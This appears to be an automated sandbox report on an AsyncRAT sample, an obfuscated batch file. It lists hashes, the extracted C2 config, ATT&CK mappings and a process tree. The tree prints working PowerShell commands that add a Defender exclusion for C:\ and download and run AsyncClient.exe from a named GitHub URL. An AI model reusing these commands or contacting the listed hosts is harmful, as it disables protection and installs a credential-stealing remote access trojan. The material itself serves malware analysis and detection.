asyncrat | e0912478bf932332e047a18ba0431920547bbd7310b2b87eab25b78e03889ef3

General

Target

cool-obf.bat
Size

20KB
MD5

99525fe4bc3b8826a79437472b315528
SHA1

6f4c3291b57e996bac223dda1b7b1bcfea8d4528
SHA256

e0912478bf932332e047a18ba0431920547bbd7310b2b87eab25b78e03889ef3
SHA512

6dca8ca280024c06b37c42d0f92b5d3b8cb7479fd527e9c5fc81efac8cd22c6adc6ac5dd2e5fdb8aeebff2634ea010ce9497c20dbf58addd382597855ac81887
SSDEEP

384:UmN+vVczZIkT0EFDuWLhGzAzjpyHGGwWW9l:PQvVc1jT0EFDuWLhGsfpyHzw79l

Score

10^/10

asyncrat default discovery execution rat spyware stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://raw.githubusercontent.com/venkovisual/Loli-Mod/refs/heads/main/AsyncClient.exe

Extracted

Family

asyncrat

Version

AsyncRAT

Botnet

Default

C2

yyyson22.gleeze.com:4608

Mutex

dw

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
C:\AsyncClient.exe	family_asyncrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

2 5248 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

3444 powershell.exe
5248 powershell.exe
3444 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

AsyncClient.exe

pid process

3492 AsyncClient.exe
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

2 raw.githubusercontent.com
1 raw.githubusercontent.com
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
discovery

System Language Discovery
T1614.001

Processes:

AsyncClient.exe

description ioc process

Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AsyncClient.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exeAsyncClient.exe

pid process

3444 powershell.exe
3444 powershell.exe
5248 powershell.exe
5248 powershell.exe
3492 AsyncClient.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exeAsyncClient.exe

description pid process

Token: SeDebugPrivilege 3444 powershell.exe
Token: SeDebugPrivilege 5248 powershell.exe
Token: SeDebugPrivilege 3492 AsyncClient.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

AsyncClient.exe

pid process

3492 AsyncClient.exe

flow	pid	process
2	5248	powershell.exe

pid	process
3444	powershell.exe
5248	powershell.exe
3444	powershell.exe

pid	process
3492	AsyncClient.exe

flow	ioc
2	raw.githubusercontent.com
1	raw.githubusercontent.com

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AsyncClient.exe

pid	process
3444	powershell.exe
3444	powershell.exe
5248	powershell.exe
5248	powershell.exe
3492	AsyncClient.exe

description	pid	process
Token: SeDebugPrivilege	3444	powershell.exe
Token: SeDebugPrivilege	5248	powershell.exe
Token: SeDebugPrivilege	3492	AsyncClient.exe

pid	process
3492	AsyncClient.exe

Suspicious use of WriteProcessMemory 25 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1492 wrote to memory of 5696	1492	cmd.exe	chcp.com
PID 1492 wrote to memory of 5696	1492	cmd.exe	chcp.com
PID 1492 wrote to memory of 6096	1492	cmd.exe	find.exe
PID 1492 wrote to memory of 6096	1492	cmd.exe	find.exe
PID 1492 wrote to memory of 5940	1492	cmd.exe	findstr.exe
PID 1492 wrote to memory of 5940	1492	cmd.exe	findstr.exe
PID 1492 wrote to memory of 3080	1492	cmd.exe	findstr.exe
PID 1492 wrote to memory of 3080	1492	cmd.exe	findstr.exe
PID 1492 wrote to memory of 4952	1492	cmd.exe	findstr.exe
PID 1492 wrote to memory of 4952	1492	cmd.exe	findstr.exe
PID 1492 wrote to memory of 4456	1492	cmd.exe	findstr.exe
PID 1492 wrote to memory of 4456	1492	cmd.exe	findstr.exe
PID 1492 wrote to memory of 2716	1492	cmd.exe	cmd.exe
PID 1492 wrote to memory of 2716	1492	cmd.exe	cmd.exe
PID 1492 wrote to memory of 5988	1492	cmd.exe	find.exe
PID 1492 wrote to memory of 5988	1492	cmd.exe	find.exe
PID 1492 wrote to memory of 3196	1492	cmd.exe	cmd.exe
PID 1492 wrote to memory of 3196	1492	cmd.exe	cmd.exe
PID 1492 wrote to memory of 3444	1492	cmd.exe	powershell.exe
PID 1492 wrote to memory of 3444	1492	cmd.exe	powershell.exe
PID 1492 wrote to memory of 5248	1492	cmd.exe	powershell.exe
PID 1492 wrote to memory of 5248	1492	cmd.exe	powershell.exe
PID 1492 wrote to memory of 3492	1492	cmd.exe	AsyncClient.exe
PID 1492 wrote to memory of 3492	1492	cmd.exe	AsyncClient.exe
PID 1492 wrote to memory of 3492	1492	cmd.exe	AsyncClient.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\cool-obf.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1492

C:\Windows\system32\chcp.com
chcp.com 437
2⤵
PID:5696

C:\Windows\system32\find.exe
find
2⤵
PID:6096

C:\Windows\system32\findstr.exe
findstr /L /I set C:\Users\Admin\AppData\Local\Temp\cool-obf.bat
2⤵
PID:5940

C:\Windows\system32\findstr.exe
findstr /L /I goto C:\Users\Admin\AppData\Local\Temp\cool-obf.bat
2⤵
PID:3080

C:\Windows\system32\findstr.exe
findstr /L /I echo C:\Users\Admin\AppData\Local\Temp\cool-obf.bat
2⤵
PID:4952

C:\Windows\system32\findstr.exe
findstr /L /I pause C:\Users\Admin\AppData\Local\Temp\cool-obf.bat
2⤵
PID:4456

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c type tmp
2⤵
PID:2716

C:\Windows\system32\find.exe
find
2⤵
PID:5988

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c type tmp
2⤵
PID:3196

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3444

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/venkovisual/Loli-Mod/refs/heads/main/AsyncClient.exe', 'C:\\AsyncClient.exe')"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5248

C:\AsyncClient.exe
"C:\AsyncClient.exe"
2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3492

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\AsyncClient.exe

Filesize
61KB

MD5
a4314ad7e9a2945cf99dd03e9e46f7c1

SHA1
326c096e183a17cbc41034c6b6a6917de5347a86

SHA256
22639054481629b24309f3ab18f016231ed4f3de6fa6b852598848c1dbe7cf1f

SHA512
5787f414ebf281f581e26d21541915897e741995528bb7cc20e5d7c02d8a35e05047cd47e231d3ea389986323ee58039844c075134869a3e63d004c11f08a8c8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
408641808e457ab6e23d62e59b767753

SHA1
4205cfa0dfdfee6be08e8c0041d951dcec1d3946

SHA256
3921178878eb416764a6993c4ed81a1f371040dda95c295af535563f168b4258

SHA512
e7f3ffc96c7caad3d73c5cec1e60dc6c7d5ed2ced7d265fbd3a402b6f76fed310a087d2d5f0929ab90413615dad1d54fce52875750057cffe36ff010fc6323fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tjwcrnub.hvx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp

Filesize
14B

MD5
ce585c6ba32ac17652d2345118536f9c

SHA1
be0e41b3690c42e4c0cdb53d53fc544fb46b758d

SHA256
589c942e748ea16dc86923c4391092707ce22315eb01cb85b0988c6762aa0ed3

SHA512
d397eda475d6853ce5cc28887690ddd5f8891be43767cdb666396580687f901fb6f0cc572afa18bde1468a77e8397812009c954f386c8f69cc0678e1253d5752

Download Submit
memory/3444-14-0x00007FF912A70000-0x00007FF913532000-memory.dmp

Filesize
10.8MB

Download
memory/3444-18-0x00007FF912A70000-0x00007FF913532000-memory.dmp

Filesize
10.8MB

Download
memory/3444-15-0x00007FF912A70000-0x00007FF913532000-memory.dmp

Filesize
10.8MB

Download
memory/3444-13-0x000002AF4CA40000-0x000002AF4CA62000-memory.dmp

Filesize
136KB

Download
memory/3444-4-0x00007FF912A73000-0x00007FF912A75000-memory.dmp

Filesize
8KB

Download
memory/3492-34-0x0000000000F50000-0x0000000000F66000-memory.dmp

Filesize
88KB

Download
memory/3492-35-0x0000000006220000-0x00000000067C6000-memory.dmp

Filesize
5.6MB

Download
memory/3492-36-0x0000000005E10000-0x0000000005EA2000-memory.dmp

Filesize
584KB

Download
memory/3492-37-0x0000000005DC0000-0x0000000005DCA000-memory.dmp

Filesize
40KB

Download
memory/3492-40-0x0000000006AB0000-0x0000000006B4C000-memory.dmp

Filesize
624KB

Download
memory/3492-41-0x0000000006FE0000-0x0000000007046000-memory.dmp

Filesize
408KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads